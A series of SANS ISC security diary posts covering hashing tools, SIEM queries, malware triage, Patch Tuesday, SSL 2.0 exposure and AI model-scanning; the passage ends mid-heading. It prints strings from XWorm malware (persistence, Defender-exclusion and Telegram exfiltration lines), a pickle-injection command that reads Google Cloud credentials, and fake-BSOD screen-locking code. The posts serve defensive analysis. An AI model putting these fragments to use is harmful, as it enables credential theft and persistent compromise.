Over the years, I've written a number of scripts to make my life easier. One of those tools was sigs.py (which was a rewrite of an old perl script sigs.pl) to hash files. I wanted something portable that could potentially be a drop-in replacement for things like md5sum, sha1sum, etc. (and can do hashes like sha512, sha3-224, and sha3-384). I've even had cases where my python script ran faster than those Linux tools. Anyway, in some recent cases I've been working on, I've been getting manifests with hashes and to validate that I got good copies, I wanted to verify the hashes. Sometimes I was getting md5s, sometimes, sha1s, sometimes sha256s. On Linux, md5sum, sha1sum, sha256sum, etc. have the -c switch to do the checking, but my script did not have that, so I took an hour over a weekend recently and I added that capability. The script determines which hash to use based on the length of the hash it finds in the text file, so it can check any of the hashes it can calculate.

And even, SHA3-384

Hopefully others find this as useful as I do. The script can be found in my scripts repo[1] or here[2] directly.

References:

1. http://github.com/clausing/scripts

2. http://raw.githubusercontent.com/clausing/scripts/refs/heads/master/sigs.py

---------------
Jim Clausing, GIAC GSE #26
jclausing --at-- isc [dot] sans (dot) edu

With the Elastic released of version 8.17.0, it included "The technical preview of new MATCH and query string (QSTR) functions in ES|QL makes log searches easier and more intuitive."[1] With this released, I started exploring some of the many options available with ES|QL in Kibana [2], enabled by default, to do various types of queries to quickly summarize data, outside of the default or custom dashboards.

To illustrate this, I will show two different queries, one with user.name and one with source actor IP addresses. While writing the query, you will notice after you include the pipe (|), a list of possible ES|QL field options will appear, refer to this reference for ES|QL language [4].

This is an example of a simple strategy where the only field selected is the user.name stored in the Elasticsearch [6] cowrie table. In this example, the output is limited by time and up to 1000 rows. By adding | LIMIT 10 to the end of the query, the output would only show the TOP 10 vs. up to 1000.

FROM cowrie*
| KEEP user.name
| STATS COUNT(user.name) BY user.name
| SORT `COUNT(user.name)` DESC

This second example shows the Top 10 Actor IPs over the past 7 days captured by DShield Sensor. To change the default visualization, this include changing the visualization type, axes and colors, click the pencil button (esql icon in above picture). It will open the in-line editor like this example where you can manipulate the graph to what you want.

FROM cowrie*
| KEEP related.ip
| STATS COUNT(related.ip) BY related.ip
| SORT `COUNT(related.ip)` DESC
| LIMIT 10

This is another way of working and manipulating data in Kibana with ES|QL to explore the data. You can check out this reference [2] where there are several examples of how you can start exploring the data in other fun ways.

[1] https://www.elastic.co/blog/whats-new-elastic-8-17-0
[2] https://www.elastic.co/guide/en/elasticsearch/reference/8.17/esql-kibana.html
[3] https://www.elastic.co/guide/en/elasticsearch/reference/8.17/esql-using.html
[4] https://www.elastic.co/guide/en/elasticsearch/reference/8.17/esql-functions-operators.html
[5] https://github.com/bruneaug/DShield-SIEM/tree/main
[6] https://isc.sans.edu/diary/DShield+SIEM+Docker+Updates/31680/

-----------
Guy Bruneau IPSS Inc.
My GitHub Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

While hunting, I spent some time trying to deobfuscate a malicious file discovered on VT. It triggered my PowerShell rule. At the end, I found two files that look close together:

• 7c2f2a9a6078d37ee241e43f392f825630016c8ca8416bfd12cd27501b6876d1 (Score: 3/61)[1]
• d0b448d4de707a9fb611166278065afa2c52029234f7876158c8dd4798f08f9f (Score: 1/62)[2]

They are identified as “data files,” and their upload names are, respectively, “XClient.exe” and “XingCode Unblocker 2025.exe". XignCode is anti-cheat software primarily used in online games to prevent cheating, hacking, and the use of unauthorized third-party tools. Note the typo in the file name!

When you open the file, you see this:

You can spot a PowerShell function at the beginning that is used to deobfuscate data (un-Base64, decompress, ...). You can also read the classic string "This program cannot be run in DOS mode.". Between binary data, you can also easily see some code. A lot of characters are encoded using "join" operations. By example:

PS C:\Users\REM> -join[char[]]((503-426),(-4550+4640),(71128-5595))
MZ?

This is the very beginning of the PE file locate just after the initial function. Other pieces of code are based on a mix of small mathematical operations combined with logical operands. By example:

PS C:\Users\REM> ((((((((((((((((((8657-Bxor-8656)-Band2*(8657-Band-8656))-Band((8657-Bxor-8656)-Bor2*(8657-Band-8656)))-Band(((8657-Bxor-8656)-Band2*(8657-Band-8656))-Bor((8657-Bxor-8656)-Bor2*(8657-Band-8656))))+((((8657-Bxor-8656)-Band2*(8657-Band-8656))-Band((8657-Bxor-8656)-Bor2*(8657-Band-8656)))-Bor(((8657-Bxor-8656)-Band2*(8657-Band-8656))-Bor((8657-Bxor-8656)-Bor2*(8657-Band-8656)))))+0)-0)))+0)-0)))+0)-0))))
1

Normally, PowerShell should ignore the non-readable characters but, if you try to execute this file with PowerShell in a sandbox, it miserably fails due to "bad" characters here and there. I tried to write a small script to deobfuscate all the pieces of code described above but the PE file was still corrupted.

If you extract ASCII strings from the files, you'll get a lot of interesting strings but Unicode strings are more interesting:

remnux@remnux:/mnt/hgfs/MalwareZoo/20250215$ strings --encoding=l 7c2f2a9a6078d37ee241e43f392f825630016c8ca8416bfd12cd27501b6876d1

Here are the most interesting strings:

schtasks.exe
/create /f /RL HIGHEST /sc minute /mo 1 /tn "
/create /f /sc minute /mo 1 /tn "
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
.lnk
WScript.Shell
CreateShortcut
TargetPath
WorkingDirectory
Save
 [XWorm V5.6]
New Clinet : 
UserName : 
OSFullName : 
USB : 
CPU : 
GPU : 
RAM : 
Groub : 
https://api.telegram.org/bot
/sendMessage?chat_id=
&text=
powershell.exe
-ExecutionPolicy Bypass Add-MpPreference -ExclusionPath '
-ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '
http://ip-api.com/line/?fields=hosting
Select * from Win32_ComputerSystem
VirtualBox
SbieDll.dll
\root\SecurityCenter2
Select * from AntivirusProduct
SELECT * FROM Win32_VideoController
PING!
pong
shutdown.exe /f /s /t 0
RunShell
StartDDos
StopDDos
StartReport
StopReport
Xchat
Hosts
\drivers\etc\hosts
Modified successfully!
sendPlugin
savePlugin
RemovePlugins
Plugins Removed!
OfflineGet
RunRecovery
Recovery
RunOptions
POST / HTTP/1.1
schtasks
/delete /f  /tn "
.bat
@echo off
timeout 3 > NUL
DEL "
" /f /q
ToUpper
Space
[SPACE]
)eturn
[ENTER]
)scape
[ESC]
LControlKey
)CTRL]
RControlKey
RShiftKey
[Shift]
LShiftKey
Back
)Back]
LWin
)WIN]
)Tab]
Capital
[CAPSLOCK: OFF]
[CAPSLOCK: ON]

It's crystal clear that the malware is a copy of XWorm[3].

I'm curious about the obfuscation tool/technique used in these files. If you know how to process them without error, let me know!

[1] https://www.virustotal.com/gui/file/7c2f2a9a6078d37ee241e43f392f825630016c8ca8416bfd12cd27501b6876d1
[2] https://www.virustotal.com/gui/file/d0b448d4de707a9fb611166278065afa2c52029234f7876158c8dd4798f08f9f
[3] https://any.run/report/add19a9db4730f41575fb951e9aec6dcf35d8db2cb94cba896667881467e6fd5/8d974012-b880-482f-a35f-68a0808a2e33

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Protect AI’s OSS portfolio includes tools aimed at improving security of AI/ML software. These tools are meant for a wide range of engineering, security and ML practitioners including developers, security engineers/researchers, ML engineers, LLM engineers and prompt engineers, and data scientists.
Of particular interest in light of model serialization attacks is ModelScan.

Headlines as recent as 6 FEB 2025 remind us that the popular Python Pickle serialization format, common for distributing AI models, offers attackers opportunities to inject malicious code to be executed when loading models with PyTorch.[1] See Malicious ML models discovered on Hugging Face platform. Post training, model’s mathematical representations can be stored in a variety of data serialization formats to be shared and reused without the need for additional model training. Pickle is a popular Python module used for serializing and deserializing ML model data. While easy to use, Pickle is considered an unsafe data format, as it allows Python code to be executed during ML model deserialization.[2]
As you can imagine, even as protective measures are being implemented, safety scanning is still recommended. ModelScan offers such capabilities with ease and convenience. ModelScan is incredibly well documented and include notebooks to aid experimentation and adoption.
I’ll share my quick setup steps, modify to your liking and preferences. These assume you’re building from scratch including Jupyter.

sudo apt install python3-pip python3-dev
sudo -H pip3 install --upgrade pip --break-system-packages
sudo -H pip3 install virtualenv --break-system-packages
cd code/
virtualenv modelscan-env
source modelscan-env/bin/activate
pip install modelscan
pip install jupyter
jupyter notebook

I also cloned the ModelScan repo in my code directory.
Read the repository README for yourself, but borrowing a few key highlights for efficacy here.
“A Model Serialization Attack is where malicious code is added to the contents of a model during serialization(saving) before distribution — a modern version of the Trojan Horse. The attack functions by exploiting the saving and loading process of models. When you load a model with model = torch.load(PATH), PyTorch opens the contents of the file and begins to running the code within. The second you load the model the exploit has executed."[3] A Model Serialization Attack can be used to execute:

• Credential Theft (Cloud credentials for writing and reading data to other systems in your environment)
• Data Theft (the request sent to the model)
• Data Poisoning (the data sent after the model has performed its task)
• Model Poisoning (altering the results of the model itself)

I took liberties with the pytorch_sentiment_analysis notebook found in /modelscan/notebooks and modified it to exemplify local Google Cloud credential secrets disclosure as opposed those for AWS as conveyed in the original notebook.
One note of interest. PyTorch is moving from away from what was a default configuration where torch.load ran with weights_only set to false, and is issuing the following warning if you don’t set the parameter to false (for experimention only) explicitly.
“WARNING: torch.load() unless weights_only parameter is set to True, uses pickle module implicitly, which is known to be insecure. It is possible to construct malicious pickle data which will execute arbitrary code during unpickling. Never load data that could have come from an untrusted source in an unsafe mode, or that could have been tampered with. Only load data you trust.”
Certainly, a good safety update for added protection, but thou shalt still scan. ;-)
Figure 1 conveys notebook setup and the BERT based sentiment analysis PyTorch model used as the test subject.

Figure 1: Setup and model saving

As seen in Figure 2, the notebook next offers prediction via the safe version of the model, then executes ModelScan with clean results to be expected.

Figure 2: Safe prediction and initial model scan

modelscan –path PyTorchModels/safe_model.pt yields No issues found.

Next, we inject “malicious” code, cat ~/.config/gcloud/credentials.db in the safe model to simply read my Google Cloud client secret. A more sophisticated attack could include a reverse shell or secrets exfiltration. The model executes the malicious code as well as the expected prediction, as seen in Figure 3.

Figure 3: Injection and unsafe prediction

Finally, the unsafe (evil) model is scanned, and the use of the unsafe operator system (defined under the command parameter in the serialization attack cell) is flagged as Critical, as seen in Figure 4.

Figure 4: Injection and unsafe prediction

ModelScan save results in JSON or other reporting formats, and can scan models from a variety of ML libraries including Pytorch, Tensorflow, Keras, and Classic ML Libraries (Sklearn, XGBoost etc.).
Protect AI strongly recommends integrating ModelScan in your ML pipelines and CI/CD pipelines. They also have commercial offerings to better secure your AI implementations. To reiterate their assertion, model scanning must be performed more than once to accomplish the following:

• Scan all pre-trained models before loading it for further work to prevent a compromised model from impacting your model building or data science environments
• Scan all models after training to detect a supply chain attack that compromises new models
• Scan all models before deploying to an endpoint to ensure that the model has not been compromised after storage

Start with ModelScan, also give Fickling an indepth look, and avoid falling victim to headline generating AI/ML attack scenarios.

Cheers…until next time.

Russ McRee | @holisticinfosec | infosec.exchange/@holisticinfosec | LinkedIn.com/in/russmcree

Recommended reading and tooling:

• Model Serialization Attack Explainer
• Understanding Pickle Risks: Essential Knowledge for Data Scientists
• Fickling

References

[1] Constantin, L. and Solomon, H. (2025) Attackers hide malicious code in hugging face AI model Pickle Files, CSO Online. Available at: https://www.csoonline.com/article/3819920/attackers-hide-malicious-code-in-hugging-face-ai-model-pickle-files.html (Accessed: 15 February 2025).
[2] Zanki, K. (2025) Malicious ML models discovered on hugging face platform, ReversingLabs. Available at: https://www.reversinglabs.com/blog/rl-identifies-malware-ml-model-hosted-on-hugging-face (Accessed: 15 February 2025).
[3] Protect AI (2024) Protectai/modelscan: Protection against model serialization attacks, GitHub. Available at: https://github.com/protectai/modelscan/tree/main (Accessed: 10 February 2025).

What do I mean by “IP volatility”? Today, many organizations use cloud services and micro-services. In such environments, IP addresses assigned to virtual machines or services can often be volatile, meaning they can change or be reassigned to other organizations or users. This presents a risk for services relying on static IPs for security configurations and may introduce impersonation or data leakage issues.

This morning, I was setting up a new environment. I got a new IP address assigned by my hosting company and deployed a classic configuration: a reverse-proxy redirecting to many web services and generating Let’s Encrypt certificates.

Once the reverse proxy was in place, I started to deploy more services but detected some activity in the log (always keep an eye on your logs!) and saw this:

{"level":"debug","time":"2025-02-15T06:22:33Z","caller":"github.com/traefik/traefik/v3/pkg/tls/tlsmanager.go:228","message":"Serving default certificate for request: \"postmaster.xxxxxxxx.hu\""}
{"level":"debug","time":"2025-02-15T06:46:36Z","caller":"github.com/traefik/traefik/v3/pkg/tls/tlsmanager.go:228","message":"Serving default certificate for request: \"pop3.xxxxxxxx.hu\""}
{"level":"debug","time":"2025-02-15T07:04:16Z","caller":"github.com/traefik/traefik/v3/pkg/tls/tlsmanager.go:228","message":"Serving default certificate for request: \”xxxxxxxx.hu\""}

A quick DNS request confirmed that these hosts are resolving to my newly assigned IP!

Worse, this organization seems to still be using POP3, and a user (or a script) is still trying to fetch emails using this protocol!

Some tips:

• When you move to another hosting solution, update your DNS records
• Cleanup your DNS zones and remove unwanted entries
• Use mechanisms to preserve your IP addresses (like “Elastic IPs” provided by AWS)

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

I found a Python script that implements a funny anti-analysis trick. The script has a low score on VT (4/59) (SHA256:d716c2edbcdb76c6a6d31b21f154fee7e0f8613617078b69da69c8f4867c9534)[1]. This sample attracted my attention because it uses the tkinter[2] library. This library is used to create graphical user interfaces (GUIs). It provides tools to create windows, dialogs, buttons, labels, text fields, and other interactive elements, allowing developers to build desktop applications with visual interfaces in Python. Most Python scripts are intended to be executed from a command line. That's why I consider this library as a good sign of suspicious behavior (It does not mean that all Python scripts using this library are malicious!)

While reviewing the script, a variable contains an interesting piece of text:

info = "\nA problem has been detected and windows has been shut down to prevent damage\nto your computer ... (removed) ..."

The interesting piece of code is here:

root = tk.Tk()
root.configure(background="dark blue")
ex = Example(root)
w, h = root.winfo_screenwidth(), root.winfo_screenheight()
root.overrideredirect(1)
root.geometry("%dx%d+0+0" % (w, h))
root.wm_attributes("-topmost", 1)
root.mainloop()

The attribute "-topmost" set to "1" or "TRUE" will make the window remain open on top of all windows. The window will also be created to fill the screen without any control elements to close or resize it. When the script is executed, you will get this screen:

To be honest, that's not the best BSOD ("Blue Screen of Death") that I saw... but it's a nice trick to annoy the victim or slow down (a bit) the analysis of the file.

[1] https://www.virustotal.com/gui/file/d716c2edbcdb76c6a6d31b21f154fee7e0f8613617078b69da69c8f4867c9534/detection
[2] https://docs.python.org/3/library/tkinter.html

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Over the past several weeks, I have been testing various enhancements to the DShield SIEM, to process DShield sensor log from local and cloud sensors with Filebeat and Filebeat modules to easily send Zeek and NetFlow logs back to a local network ELK stack via home router natting. This is a list of updates and enhancements:

- Upgrade to the current version of Elastic 8.17.2
- A single script to configure the base configuration of all the docker files (change_perms.sh)
- Addition of docker filebeat for cloud DShield sensor collection (Cowrie, Zeek & NetFlow logs)
- Second filebeat to ingest ISC & Rosti Threat Intel IP data [3]
- Separation of GitHub DShield SIEM & DShield sensor scripts
- Addition to docker Metricbeat for ELK Stack metric information
- Updated dashboard that includes Zeek in the tab lists
- Query in one dashboard is linked to the others
- Tested the ELK Stack in a LXC Proxmox container [4]
- The addition of ELK Stack monitoring of all the Beats and Logstash
- Configured Logstash to parse logs with Beats pipelines (Zeek & NetFlow)
- Removed and merged multiple steps to simplify the installation (change_perms.sh)
- Updated some sections of the Troubleshooting document [5]
- Updated some sections of the docker useful commands [6]
- Updated the DShield SIEM network flow [7]
- Docker update steps to current version [8]

DShield SIEM Main Dashboard

[1] https://github.com/bruneaug/DShield-SIEM/tree/main
[2] https://github.com/bruneaug/DShield-Sensor
[3] https://github.com/bruneaug/DShield-SIEM/blob/main/AddOn/ISC_threatintel.md
[4] https://github.com/bruneaug/DShield-SIEM/blob/main/AddOn/LXC_Container_DShield-SIEM.md
[5] https://github.com/bruneaug/DShield-SIEM/blob/main/Troubleshooting/Troubleshooting_SIEM_and_Sensor.md
[6] https://github.com/bruneaug/DShield-SIEM/blob/main/Troubleshooting/docker_useful_commands..md
[7] https://github.com/bruneaug/DShield-SIEM/blob/main/Troubleshooting/DShield-SIEM-Flow.png
[8] https://github.com/bruneaug/DShield-SIEM/blob/main/Troubleshooting/docker_useful_commands..md#update-dshield-elk-to-the-latest-version
[9] https://www.elastic.co/guide/en/elasticsearch/reference/current/release-notes-8.17.2.html

-----------
Guy Bruneau IPSS Inc.
My GitHub Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

Blue teams have it hard – they maintain a watchful eye on whatever technology is deployed to detect threats, respond to incidents, perform digital forensics and reverse malware (or make malware happy!) when needed. Hopefully, no one has to handle all these roles alone since there is also the continuous learning aspect of getting up to speed with the latest threat vectors, vulnerabilities and exploit techniques. Adversaries only need one attack to succeed to gain actions on objective. In contrast, defenders have to detect and stop every attack to prevent adversaries from being successful. Let’s now extrapolate to an even bigger problem – what if this happens on emerging/future technologies and adversaries can get away with such crimes?

Multiple countries are gradually considering the concept of Smart Cities, a key consideration in the United Nations Development Programme (UNDP). As such technologies are implemented, the responsibility of defending this critical infrastructure again falls on the shoulders of blue teams. Smart Cities have yet to be fully implemented, but it does not mean we should not be proactive in preparing defenders to handle future problems. Current issues, even without Smart Cities in the fray, already cause blue team grief (e.g. different technology platforms, different contexts, information sharing, collaboration and tool interoperability). Given these complexities, an ontology would allow a shared understanding of vocabulary, facilitate data sharing, and even enable automated data reasoning.

Wanting to pre-emptively solve future issues of attacks and cybercrime on Smart City Infrastructure (SCI), I (along with my co-authors in the SUTD ASSET Group) set out to create the Smart City Ontological Paradigm Expression (SCOPE). SCOPE was designed to be an ontology for threats, cybercrime and digital forensic investigation on SCI. We did not create the ontology from scratch but chose to adhere to ontology best practices and extended the venerable Unified Cyber Ontology (UCO) [1] and Cyber-investigation Analysis Standard Expression (CASE) [2]. UCO and CASE have gained some traction, and these ontologies have been experimentally adopted in forensic tools such as Cellebrite, Magnet Forensics, and MSAB XRY [3]. However, UCO and CASE did not have any SCI representation, and expecting overwhelmed blue teams to create them from scratch would most certainly be the straw that broke the camel’s back.

Figure 1: Smart City Infrastructure Definition (reproduced with permission from the authors) [4]

We deliberated on several design factors. Firstly, we defined smart cities using a technology-agnostic approach while adhering to international standards (with reference to Figure 1) that adopted the United Nations (UN) Sustainable Development Goals (SDG) (this was done in a previous work) [4]. By doing so, we ensured that the evolution of technologies or vendors would not affect the fundamental principle of Smart Cities. Secondly, we identified possible threats, cybercrime, and digital forensic evidence sources from the Smart City, which were defined in the first step (also from the same previous work) [4]. Thirdly, we included MITRE ATT&CK techniques and MITRE CAPEC into SCOPE for analysts and investigators to provide additional context to forensic evidence. Finally, we followed the ontological style and design practices when creating SCOPE, an expansion profile from UCO and CASE.

We evaluated SCOPE via real-world attack scenarios attributed to publicly reported real-world incidents attributed to Advanced Persistent Threat (APT) groups. With reference to Figure 2, the evaluation process workflow is shown. We successfully represented the attack scenarios, cybercrime committed, incident details, evidence and attack patterns (to name a few).

Figure 2: SCOPE Evaluation Process (reproduced with permission from the authors) [3]

Will SCOPE ever be helpful? Not yet. I hope it will come in handy in future for digital forensic investigators and law enforcement agencies when cybercrime on SCI becomes prevalent. As mentioned, SCOPE is technology-agnostic while adhering to several ISO standards. Additionally, it contains enough granularity to allow users to pinpoint key information while ensuring it can capture abstract definitions covering emerging technologies. We have made SCOPE publicly available to the digital forensic community to assist future smart city infrastructure investigations. SCOPE’s GitHub project link is https://github.com/scopeProject, and the official ontology website is https://scopeontology.org. If readers want to find out the complete details of SCOPE, you can find the full published paper in Volume 52 of Forensic Science International: Digital Investigation (FSIDI) or at https://doi.org/10.1016/j.fsidi.2025.301883.

References:
1. https://www.scopus.com/record/display.uri?eid=2-s2.0-85021968557&origin=inward
2. https://doi.org/10.1016/j.diin.2017.08.002
3. https://doi.org/10.1016/j.fsidi.2025.301883
4. https://doi.org/10.1016/j.fsidi.2023.301540

-----------
Yee Ching Tok, Ph.D., ISC Handler
Personal Site
Mastodon
Twitter

This month, Microsoft has released patches addressing a total of 141 vulnerabilities. Among these, 4 are classified as critical, highlighting the potential for significant impact if exploited. Notably, 2 vulnerabilities are currently being exploited in the wild, underscoring the urgency for immediate updates. Additionally, 1 vulnerability has been disclosed prior to this patch cycle, marking it as a zero-day. Users are strongly advised to prioritize these updates to safeguard their systems against potential threats.

Significant Vulnerabilities 

Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability (CVE-2025-21418)
This vulnerability, identified as CVE-2025-21418, has a severity rating of Important with a CVSS score of 7.8. It is currently being exploited in the wild but has not been publicly disclosed, making it a significant concern for affected systems. The vulnerability allows an attacker to gain SYSTEM privileges, thereby elevating their access and control over the compromised system. Immediate attention and remediation are advised to mitigate the risk posed by this vulnerability.

Windows Storage Elevation of Privilege Vulnerability (CVE-2025-21391)
This is a disclosed vulnerability with a severity rating of Important and a CVSS score of 7.1, which is currently being exploited in the wild. This vulnerability allows an attacker to elevate their privileges to delete targeted files on a system, significantly impacting the integrity and availability of the system without compromising confidentiality. The exploitation of this vulnerability can lead to the deletion of critical data, potentially rendering services unavailable. Despite its exploitation, it has not been publicly disclosed as a zero-day, and users are advised to implement appropriate security measures to mitigate its impact.

NTLM Hash Disclosure Spoofing Vulnerability (CVE-2025-21377)
This is a disclosed zero-day vulnerability with a severity rating of Important and a CVSS score of 6.5, though it is not currently exploited in the wild. This vulnerability can lead to a total loss of confidentiality by allowing an attacker to obtain a user's NTLMv2 hash, which could be used to authenticate as the user. Exploitation requires minimal user interaction, such as selecting or inspecting a malicious file. It affects all supported versions of Microsoft Windows, and despite the retirement of Internet Explorer 11 and the deprecation of Microsoft Edge Legacy, updates are necessary due to the continued use of the MSHTML and EdgeHTML platforms in various applications. To ensure full protection, users are advised to install both Security Only updates and IE Cumulative updates.

Microsoft Dynamics 365 Sales Elevation of Privilege Vulnerability (CVE-2025-21177)
This vulnerability, identified as CVE-2025-21177, has not been exploited in the wild nor disclosed publicly, classifying it as a non-zero-day. It carries a severity rating of Critical with a CVSS score of 8.7, indicating a significant risk of elevation of privilege if exploited. Although the vulnerability could potentially allow attackers to gain unauthorized access and elevate their privileges within the Microsoft Dynamics 365 Sales environment, Microsoft has fully mitigated the issue, requiring no action from users. This CVE serves to enhance transparency regarding cloud service vulnerabilities.

Windows Lightweight Directory Access Protocol (LDAP) Remote Code Execution Vulnerability (CVE-2025-21376)
This is a critical vulnerability with a CVSS score of 8.1, which has not been exploited in the wild nor disclosed publicly, thus not classified as a zero-day. This vulnerability allows for remote code execution, posing a significant threat if exploited. An unauthenticated attacker could exploit this vulnerability by sending a specially crafted request to a vulnerable LDAP server, potentially causing a buffer overflow. The attack complexity is high, as successful exploitation requires the attacker to win a race condition. Mitigation efforts should focus on securing LDAP servers and monitoring for unusual activity to prevent potential exploitation.

Microsoft Excel Remote Code Execution Vulnerability (CVE-2025-21381)
This vulnerability, identified as CVE-2025-21381, has not been exploited in the wild nor disclosed publicly, making it a non-zero-day threat. It carries a severity rating of Critical with a CVSS score of 7.8, indicating a significant risk of remote code execution. Despite the CVSS metric indicating a local attack vector, the vulnerability allows an attacker to execute code remotely by convincing a user, through social engineering, to download and open a specially crafted file. The attack can be executed locally, with the Preview Pane serving as a potential attack vector. Users are advised to exercise caution when opening files from untrusted sources and to apply any available security updates to mitigate this risk.

DHCP Client Service Remote Code Execution Vulnerability (CVE-2025-21379)
This vulnerability, identified as CVE-2025-21379, has not been exploited in the wild nor disclosed publicly, classifying it as a non-zero-day threat. It carries a severity rating of Critical with a CVSS score of 7.1, indicating a significant risk of remote code execution. The vulnerability requires a high attack complexity, necessitating a machine-in-the-middle (MITM) attack where the attacker must intercept the logical network path between the target and the resource. The attack vector is adjacent, meaning it is limited to systems on the same network segment, such as those connected to the same network switch or virtual network. This limitation prevents the attack from being executed across multiple networks, such as a WAN.

Microsoft High Performance Compute (HPC) Pack Remote Code Execution Vulnerability (CVE-2025-21198)
is a critical security flaw with a CVSS score of 9.0, rated as Important, and is currently neither exploited in the wild nor publicly disclosed. This vulnerability allows for remote code execution, requiring an attacker to have low privileges and access to the network connecting the targeted HPC clusters and nodes. The attack vector is adjacent, meaning it relies on intra-net or private network access rather than exposure to the public internet. Exploitation involves sending a specially crafted HTTPS request to the head node or Linux compute node, potentially allowing the attacker to execute code on other clusters or nodes connected to the targeted head node. The scope of the attack is changed, indicating that successful exploitation could lead to broader impacts beyond the initially compromised system.

Windows Telephony Service Remote Code Execution Vulnerability (CVE-2025-21190)
This is a significant security issue with a CVSS score of 8.8, classified as Important. Although it has not been exploited in the wild or disclosed publicly, this vulnerability poses a risk of remote code execution. An attacker could exploit it by deceiving a user into sending a request to a malicious server, which could then return harmful data leading to arbitrary code execution on the user's system. The attack vector is network-based, requiring user interaction, as the attacker needs a client to connect to the malicious server to execute code on the client system.

Windows Telephony Service Remote Code Execution Vulnerability (CVE-2025-21200)
This is a significant security issue with a CVSS score of 8.8, rated as Important, though it has not been exploited in the wild nor disclosed publicly, thus not classified as a zero-day. This vulnerability allows for remote code execution, where an attacker could potentially trick a user into sending a request to a malicious server. The server could then return malicious data, leading to arbitrary code execution on the user's system. The attack vector is network-based, requiring user interaction, as the client must connect to a malicious server, which could enable the attacker to execute code on the client machine. Mitigation strategies should focus on user awareness and network security measures to prevent such exploitations.

This summary of Microsoft's monthly updates highlights several critical vulnerabilities, emphasizing the need for immediate attention to certain threats. The Windows Ancillary Function Driver for WinSock vulnerability (CVE-2025-21418) is currently being exploited and poses a significant risk due to its potential for SYSTEM privilege escalation. Users should prioritize patching this vulnerability. Additionally, the Windows Storage vulnerability (CVE-2025-21391) is actively exploited, risking data integrity and availability. The NTLM Hash Disclosure vulnerability (CVE-2025-21377), a zero-day, threatens confidentiality and requires prompt updates. Other critical vulnerabilities, such as those affecting Microsoft Dynamics 365 Sales and Windows LDAP, though not exploited, demand vigilance and timely updates to prevent potential exploitation. Users are advised to prioritize these updates and enhance security measures to mitigate risks effectively.

February 2025 Security Updates

February 2025 Security Updates

--
Renato Marinho
LinkedIn|Twitter

CVE-2025-0411 is a vulnerability in 7-zip that has been reported to be exploited in recent attacks. The problem is that Mark-of-Web (MoW) isn't propagated correctly: when extracted, a file inside a ZIP file inside another ZIP file will not have the MoW propagated from the outer ZIP file.

That's good to know, but what I personally consider more important to know, is that MoW isn't propagated at all by 7-zip in its default configuration.

I wrote about this a couple years ago in diary entry "7-Zip & MoW", when this new feature was introduced.

You have to enable MoW propagation in the GUI or via the registry. And that is still the case with the latest versions of 7-zip.

Didier Stevens
Senior handler
blog.DidierStevens.com

I did some research into multisig wallets (cfr "Crypto Wallet Scam"), and discovered that setting up such a wallet on the TRON network comes with a cost: about $23.

First I used the TronLink extension to create a wallet:

Then I went to that wallet on Tronscan, and selected the Permissions tab:

And there I added a new permission (giving all operations to another wallet) and deleted the original permission:

And when I saved my changes, and got this prompt:

You can't create a multisig wallet by changing permissions for free: it costs 100 TRX, that's about $23.

Didier Stevens
Senior handler
blog.DidierStevens.com

The SSL 2.0 protocol was originally published back in February of 1995[1], and although it was quickly found to have significant security weaknesses, and a more secure alternative was released only a year later[2], it still received a fairly wide adoption.

Nevertheless, since it was officially deprecated nearly 14 years ago, in March of 2011[3], and all newer IT systems subsequently lack support for it, one might reasonably expect that this outdated and insecure protocol would now be the stuff of legends more than something one might see in one’s daily life. Or – rather – while there are undoubtedly numerous legacy systems in existence that still support SSL 2.0, and even use it in the context of local networks, one would probably not expect to see large numbers of servers that still support this protocol exposed to the internet… Though, as we have discussed previously [4,5], one would be wrong.

Still, since the aforementioned protocol will celebrate its 30th birthday this Sunday, I thought it might be worthwhile to take a closer look at how common it is at this point, and what systems still support it.

Going by the numbers from Shodan, at the time of writing, there still appear to be nearly 423 thousand public IP addresses, on which servers supporting SSL 2.0 are accessible on some port[6].

Looking at the most common ports, we can see that the overwhelming majority of systems that still support the outdated protocol are almost certainly web servers, and that most of what remains seems to consist primarily of e-mail servers…

If we look at the countries, where at least 1000 SSL 2.0-enabled servers appear to be located, we can see that only three countries together – the United States, Kazakhstan and Tunisia – host more than half of what is out there…

We have discussed the situation at the top of the list – especially in Kazakhstan – previously[7], and although the overall numbers are still certainly high, it seems worth mentioning that even in these countries, the numbers of SSL 2.0 enabled systems (at least web servers, as you can see in the following chart) has decreased significantly over the past two years…

Since we are on the topic of changes in the number of servers that still support SSL 2.0, we should also look at how the overall global situation has evolved over time…

As we can see, the rate of removal of SSL 2.0 enabled systems from the internet has significantly increased in approximately the last 3 months, which is quite fortunate. Not because the protocol itself is weak, but because any device that still supports it is – given its long-ago deprecation – significantly outdated, and therefore most likely contains old and significant vulnerabilities.

The road still before us certainly isn’t short – over 422 thousand servers that support the outdated protocol remain on the internet – nevertheless, the situation seems to be getting better. We can only hope that with its 30th birthday quickly approaching, the time is finally comming to let SSL 2.0 – and most of the systems that support it – go, at least on the global internet…

[1] https://datatracker.ietf.org/doc/html/rfc6176#ref-SSL2
[2] https://en.wikipedia.org/wiki/Transport_Layer_Security#SSL_1.0,_2.0,_and_3.0
[3] https://en.wikipedia.org/wiki/Transport_Layer_Security#History_and_development
[4] https://isc.sans.edu/diary/29908
[5] https://isc.sans.edu/diary/31550
[6] https://www.shodan.io/search?query=ssl.version%3Asslv2
[7] https://isc.sans.edu/diary/29988

-----------
Jan Kopriva
LinkedIn
Nettles Consulting

Last week, CISA and other national cyber security organizations published an extensive document outlining "Guidance and Strategies to Protect Network Edge Devices." [1] The document is good but also very corporate and "bland." It summarizes good, well-intended advice that will help you secure edge devices. But reading it also made me think, "That's it?" Not that I expected earth-shattering advice eliminating vulnerabilities brought on by accumulating deceased worth of abandoned ware still peddled at often relatively high costs. But I don't know; maybe something more actionable would be helpful. 

So here is my advice from the small network that is maintained, like so many, "on the side" and not by a team of dedicated edge device experts.

0 - Limit Access to Admin Functions

